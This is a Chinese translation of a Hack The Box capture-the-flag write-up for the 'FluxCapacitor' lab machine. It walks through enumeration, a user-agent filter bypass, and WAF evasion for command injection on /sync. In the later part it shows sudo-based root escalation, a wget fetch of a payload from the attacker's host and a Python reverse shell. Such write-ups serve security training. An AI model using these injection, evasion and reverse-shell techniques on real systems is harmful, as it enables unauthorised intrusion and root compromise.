{黑掉这个盒子} FluxCapacitor Write-Up
时间:2018-08-20
源标题:{Hack the Box} \ FluxCapacitor Write-Up
标签(空格分隔): CTF
好孩子们。今天我们将学习耐心和情绪管理的优点。并且也许有一些关于绕过WEB应用防火墙的东西。
老实说,这是一个令人愤怒的好盒子。我学习了一个主题的分支但我并没有真的深入研究。
不管怎样,我们继续吧。
初始枚举
开始运行Nmap开始扫描FluxCapacitor。让我们看看我们获得了什么。
root@kali:~# nmap -sC -sV -o nmap.log 10.10.10.69
Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-13 13:31 EDT
Nmap scan report for 10.10.10.69
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
80/tcp open http SuperWAF
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.32 seconds
非常棒。只有一个web服务。选择一个浏览器继续浏览。(注意在“版本”之下,它说是superWAF。我们稍后会谈到这一点)。
节点1似乎已经经历了一些糟糕的事情。
除了一个神秘的状态消息之外,这里似乎没有什么进展。我们来看看源代码吧。
你的使命:不惜一切代价保护节点1
看那边的评论。太奇怪了。让我们到这个URL去看看吧。
优秀。这是一个死胡同。可能除了在底部的那条线。我们获得了一个web server的名称和版本。这是联系谷歌搜索技巧的好时机(或者必应,我不确定)。搜索OpenResty站点,查看Github页面,浏览文档,并搜索该版本的任何有趣漏洞。这是一项非常值得学习的有价值技巧。虽然我替你节省一两个小时。但请继续练习这个技巧。
回到枚举
root@kali:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.69 -x php,html -t 100 -s 200,204,301,302,307,403
Gobuster v1.2 OJ Reeves (@TheColonial)
[+] Mode : dir
[+] Url/Domain : http://10.10.10.69/
[+] Threads : 100
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions : .php,.html
/index.html (Status: 200)
/sync (Status: 200)
/sync.php (Status: 200)
/sync.html (Status: 200)
/synctoy (Status: 200)
/synctoy.php (Status: 200)
/synctoy.html (Status: 200)
/synching (Status: 200)
/synching.php (Status: 200)
/synching.html (Status: 200)
/sync_scan (Status: 200)
/sync_scan.php (Status: 200)
/sync_scan.html (Status: 200)
/syncbackse (Status: 200)
/syncbackse.php (Status: 200)
/syncbackse.html (Status: 200)
/synch (Status: 200)
/synch.php (Status: 200)
/synch.html (Status: 200)
只是一个预感,但我认为服务器不希望我们知道文件扩展名/sync是什么。
它不会截断过去同步的任何内容。我们可以确认通过在/sync前面增加一串随机字符串。我们仍将获取一个403。但是如果我们移除掉“sync”部分,或者在它之前增加字符。我们获得一个404 not found。非常棒。
现在扼杀你的嫉妒,弄清楚为什么服务器不喜欢我们。
让我们打开Wireshark并比较两个来源的HTTP请求,看看我们哪里出错了。再次运行Gobuster并在tun0上运行Wireshark,这是HtB VPN的接口
现在右键单击转到10.10.10.69的任何TCP数据包,然后单击Follow-> TCP Stream。这将为您提供格式良好的HTTP请求,因此您无需学习读取十六进制编码。
GET /43 HTTP/1.1
Host: 10.10.10.69
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
HTTP/1.1 404 Not Found
Date: Sun, 13 May 2018 18:36:33 GMT
Content-Type: text/html
Content-Length: 175
Connection: keep-alive
html>
head>title>404 Not Found/title>/head>
body bgcolor="white">
center>h1>404 Not Found/h1>/center>
hr>center>openresty/1.13.6.1/center>
/body>
/html>
对浏览器执行相同操作。运行wireshark(将界面更改为'any',因为浏览器HTTP请求采用不同的方式),转到Firefox中的/ sync并让我们看看我们得到了什么数据包。
跟随TCP/HTTP流。
GET /sync HTTP/1.1
Host: 10.10.10.69
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
HTTP/1.1 403 Forbidden
Date: Sun, 13 May 2018 18:45:39 GMT
Content-Type: text/html
Content-Length: 175
Connection: keep-alive
html>
head>title>403 Forbidden/title>/head>
body bgcolor="white">
center>h1>403 Forbidden/h1>/center>
hr>center>openresty/1.13.6.1/center>
/body>
/html>
html内容本身并不重要,因为它总是可以变化的。同样处理GET请求内容。仔细查看两个请求中的HTTP头并进行比较。
Gobuster:
GET /43 HTTP/1.1
Host: 10.10.10.69
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Browser (Firefox):
GET /sync HTTP/1.1
Host: 10.10.10.69
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
这是用户代理。一直都知道他身上有什么东西。我们的浏览器因任何原因被列入黑名单。你可以在这里玩一下。它似乎只是在User-Agent中寻找“Mozilla”这个词,并禁止来自它的所有流量。也许它也会将其他浏览器列入黑名单。谁知道呢。但如果您尝试wget或curl来获取网页,它会让您访问通过。
但这并不是十分完美,所以我们将使用Burpsuite代理拦截我们的浏览器请求,修改它,并发送它。
打开BurpSuite。免费版拥有我们需要的一切。
转到顶部的Proxy ->Intercept选项卡,确保已启用拦截。
要让我们的Firefox请求通过Burp,请转到Firefox - >首选项 - >高级 - >网络 - >连接 - >设置。将代理更改为127.0.0.1:8080。这将确保我们发送的任何浏览器请求都通过Burp代理路由,我们可以在将其发送到预定目的地之前查看和修改HTTP请求。
请考虑下载FoxyProxy以自动为您执行此操作。这样可以节省10秒钟。然后,如果你每天增加10秒的空闲时间,你可以花他们梦想你的生活会是什么样子。真的很棒。浏览到/sync。您的浏览器将挂起。没关系。不要惊慌。转到Burp,你会(希望)看到原始的HTTP请求。
GET /sync HTTP/1.1
Host: 10.10.10.69
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
删除当前的用户代理并将其替换为......我猜测的任何东西。只要它的名字中没有Mozilla,你就是上帝。
GET /sync HTTP/1.1
Host: 10.10.10.69
User-Agent: 007
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
现在forward转发请求,转到您的浏览器。
哇。我们得到了时间戳。nice,它让我们过去了,现在怎么办呢?
Waffening
作者:M. Night Shyamalan
由于/sync似乎是唯一的其他页面,我们在这试图找出到底怎么回事。让我们回到SuperWaf。表明这个网站上是有一些web应用防火墙的。Google搜索SuperWAF并没有发现任何东西,所以我们会进行黑盒测试。
首先,WAF是反向代理。它充当服务器和客户端之间的中介,试图保护Web服务器免受针对错误配置和安全漏洞的攻击。它试图过滤掉常见的攻击尝试,如跨站点脚本(XSS),SQL注入和远程执行代码(RCE)。
跨站点脚本在这里不会对我们有任何帮助,因为它需要其他用户。SQL注入似乎是一个很大的禁忌,因为数据似乎没有存储在任何地方。我们似乎只是从脚本中获取输出,告诉我们时间。是什么语言呢?没有线索。通过做一些有根据的猜测,我们可以利用某种RCE。waf在这是有原因的。
我们现在需要打一个比喻,这就相当于我们的头在砖墙上反复撞,并希望我们能找到一些松散的砖块,并把砖墙整个拆掉。只是我们在走过废墟时跌倒,绊倒在砖碎片,反复拉扯,直到我们的裤子被扯掉。
回到Burp,如果你还没有关闭它,请转到代理 - > HTTP历史记录,找到我们发送到/ sync的请求。单击它,然后按ctrl-r将其发送到Repeater。转到Repeater选项卡(仍在Burp中),并确保User-Agent没有Mozilla。
现在我们可以反复修改和发送HTTP请求。
在这一点上,我们可以做出有根据的猜测/ sync可能会有一个参数。让我们测试一下这个假设。
如果它可以采用参数,并且有一个WAF,那么很可能是一种执行代码的方法。同步后尝试一些参数,你会看到你得到相同的时间戳。没有什么变化。
这是模糊测试器派上用场的地方。Kali linux已经安装了WFuzz,所以让我们使用它。它的作用是使用字典来强制URL,直到我们看到任何异常。我们没有太多选择可以继续,这是我们唯一的选择。在启动WFuzz之前,请检查一下。SecLists有一堆真正有用的模板用于模糊测试。现在好好的检查清单库并将其保存在好的地方。
启动WFuzz并列出其选项。
root@kali:~# wfuzz -h
********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer *
* *
* Version up to 1.4c coded by: *
* Christian Martorella (cmartorella@edge-security.com) *
* Carlos del ojo (deepbit@gmail.com) *
* *
* Version 1.4d to 2.2.9 coded by: *
* Xavier Mendez (xmendez@edge-security.com) *
********************************************************
Usage: wfuzz [options] -z payload,params url>
FUZZ, ..., FUZnZ wherever you put these keywords wfuzz will replace them with the values of the specified payload.
FUZZ{baseline_value} FUZZ will be replaced by baseline_value. It will be the first request performed and could be used as a base for filtering.
Options:
-h : This help
--help : Advanced help
--version : Wfuzz version details
-e type> : List of available encoders/payloads/iterators/printers/scripts
-c : Output with colors
-v : Verbose information.
--interact : (beta) If selected,all key presses are captured. This allows you to interact with the program.
-p addr : Use Proxy in format ip:port:type. Repeat option for using various proxies.
Where type could be SOCKS4,SOCKS5 or HTTP if omitted.
-t N : Specify the number of concurrent connections (10 default)
-s N : Specify time delay between requests (0 default)
-R depth : Recursive path discovery being depth the maximum recursion level.
-L, --follow : Follow HTTP redirections
-u url : Specify a URL for the request.
-z payload : Specify a payload for each FUZZ keyword used in the form of type,parameters,encoder.
A list of encoders can be used, ie. md5-sha1. Encoders can be chained, ie. md5@sha1.
Encoders category can be used. ie. url
Use help as a payload to show payload plugin's details (you can filter using --slice)
-w wordlist : Specify a wordlist file (alias for -z file,wordlist).
-V alltype : All parameters bruteforcing (allvars and allpost). No need for FUZZ keyword.
-X method : Specify an HTTP method for the request, ie. HEAD or FUZZ
-b cookie : Specify a cookie for the requests
-d postdata : Use post data (ex: "id=FUZZ"
000032: C=403 7 L 10 W 175 Ch ">"
000002: C=200 2 L 1 W 19 Ch "!"
000003: C=200 2 L 1 W 19 Ch "@"
000001: C=200 2 L 1 W 19 Ch "~"
000004: C=200 2 L 1 W 19 Ch "#"
000005: C=403 7 L 10 W 175 Ch "$"
000006: C=200 2 L 1 W 19 Ch "%"
000007: C=200 2 L 1 W 19 Ch "^"
000008: C=200 2 L 1 W 19 Ch ""
000028: C=200 2 L 1 W 19 Ch ":"
Total time: 0.772816
Processed Requests: 32
Filtered Requests: 0
Requests/sec.: 41.40696
两件事情。首先,WAF不喜欢以下特殊字符:`()* $ >。这里的第二个奇怪的事是单引号(')给了我们一个字符的响应,而每个其他有效的字符给我们通常的19个字符。
我们burp看看。这是新的。时间戳消失了,但我们仍然得到200响应。让我们尝试使用我们尝试过的单引号和上一个命令(ls)。在这一点上,我建议花一些时间来阅读有关Web防火墙的规避技术。我在这里提供了两个链接(第1部分和第2部分),并在本文末尾提供了由这个盒子的创建者撰写的文章。他们深入讨论了WAF的逃避行为,并真正帮助我制定了一个攻击计划,以确定如何继续向前进。一定要关注他并点开这些文章。他们都太棒了。现在我明白了,我接下来花了5个小时来弄清楚如何让这个该死的东西让我通过。
我做到了。
完成这项工作需要三件事。
首先,我们在第一个单引号后需要一个空格。猜测,我会说单引号截断前一个命令然后我们需要一个空格来执行我们注入的那个。
其次,我们必须将'ls'分开。在's'之前加上'\'对bash没有任何影响,因为它显然是一个bash脚本。它会忽略它。值得庆幸的是,WAF只能检测带有连续字符的黑名单命令。
- 第三,我们需要另一个单引号来结束我们添加的第二个命令。
我们最终有某种命令执行。从这里开始应该非常简单了。
来到突破口
我们首先弄清楚flux所用的用户。
非常棒!man。太棒啦!
在真正做任何事情之前,我们需要升级我们的特权,因为FluxCapacitor拒绝承认我们的存在。我通常首先尝试'sudo -l',因为它包含最多东西。它告诉您允许使用其他用户的权限运行哪些命令。
这是我们从“s \ udo -l”返回的内容('u'后面的正斜杠取消了对'sudo'和'su'的检测,两者都是有效的bash命令):
Matching Defaults entries for nobody on fluxcapacitor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nobody may run the following commands on fluxcapacitor:
(ALL) ALL
(root) NOPASSWD: /home/themiddle/.monit
(ALL)ALL并没有真正帮助我们,因为我们需要密码来sudo作为其他用户。第二个条目是我们正在寻找的。它告诉我们,我们可以以root身份运行'/home/themiddle/.monit',而无需输入root密码。必须准确地输入该路径才能使其工作。你不能去那个目录并输入'sudo .monit'。它只会询问root密码。我们去看看它包含什么。
输入'ca\t/home/themiddle/.monit'作为'opt'值,我们得到:
#!/bin/bash
if [ "$1" == "cmd" ]; then
echo "Trying to execute ${2}"
CMD=$(echo -n ${2} | base64 -d)
bash -c "$CMD"
fi
它接受两个参数,如果第一个参数是“cmd”,那么它base64解码第二个参数,然后在bash中运行它。完美。我们现在可以在这里以root身份运行任何命令。从这里开始,我们可能只是‘cat’到用户和root的标志,但是用反弹shell会更好,如果我必须输入另一个随机的反斜杆,弹出一个小饼干。
反弹shell是个适合的选择,因为之前许多字符都被过滤了。我们可以即兴发挥。
我们在这里有很多选择。我们回到Burp并尝试寻找有用的东西,系统似乎已经安装了Python。
Python反向shell:
import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((“10.10.14.2”,4444))#CHANGE这个
os.dup2(s.fileno(),0)
os.dup2(s.fileno) (),1)
os.dup2(s.fileno(),2)
p = subprocess.call([“/ bin / sh”,“ - i”])
将上述代码放入本地计算机上的a.py文件中,并确保将IP地址更改为您自己的IP地址。它将在ifconfig中的tun0接口下。选择你的端口。它们十分重要。通常使用RCE,我们可以直接输入python代码,但由于WAF中有许多不良字符,所以我们不能。我们可以做的是将文件上传到盒子中并从那里运行它。
使用Python SimpleHTTPServer在本地计算机上启动服务器,确保您知道刚刚创建的python文件的相对路径。它是Python3中的标准,因此如果您没有它,只需在线下载Python文件即可。
root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
由于'.monit'base64解码了我们想要运行的命令,让我们首先在我们的本地机器上编码。
root@kali:~# echo "wget 10.10.14.2/shell.py -P /tmp" | base64
d2dldCAxMC4xMC4xNC4yL3NoZWxsLnB5IC1QIC90bXAK
复制base64然后,在Burp中,让我们通过.monit运行它。(我在十六进制编码中的每个字符前都加了一个反斜杠,因为那里的东西让WAF尖叫,而且没有人(嘿)有时间弄清楚这一点)。Python服务器:
root@kali:~/Documents/hack_the_box/work_in_progress/fluxcapacitor# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.69 - - [14/May/2018 14:52:11] "GET /shell.py HTTP/1.1" 200 -
Burp:
成功上传。
启动netcat监听器以获取shell。
root@kali:~# nc -lnvp 4444
listening on [any] 4444 ...
现在base64编码'python3 /tmp/shell.py'并在Burp中使用.monit运行它。我们需要显式输入python3,因为我没有在'/etc'中看到python- > python3的任何符号链接 。
root@kali:~# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.69] 35004
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cat /home/FluxCapacitorInc/user.txt /root/root.txt
uSer_FlAg_tHaT_i_w0nt_sh0W_h3R3
n0T_th3_r3al_r00t_fl4g
#
上天啦~
WAF绕过链接:
谢谢theMiddle制作的一个很棒的盒子!一定要给他一个关注。
如果您发现这些信息,请留意更多的报道。您可以在Twitter上关注我的最新消息。
快乐的黑客!
作者:Oneeb Malik
翻译:i春秋翻译小组-海绵体VS括约肌
翻译来源:https://medium.com/secjuice/hack-the-box-fluxcapacitor-write-up-863190e4828e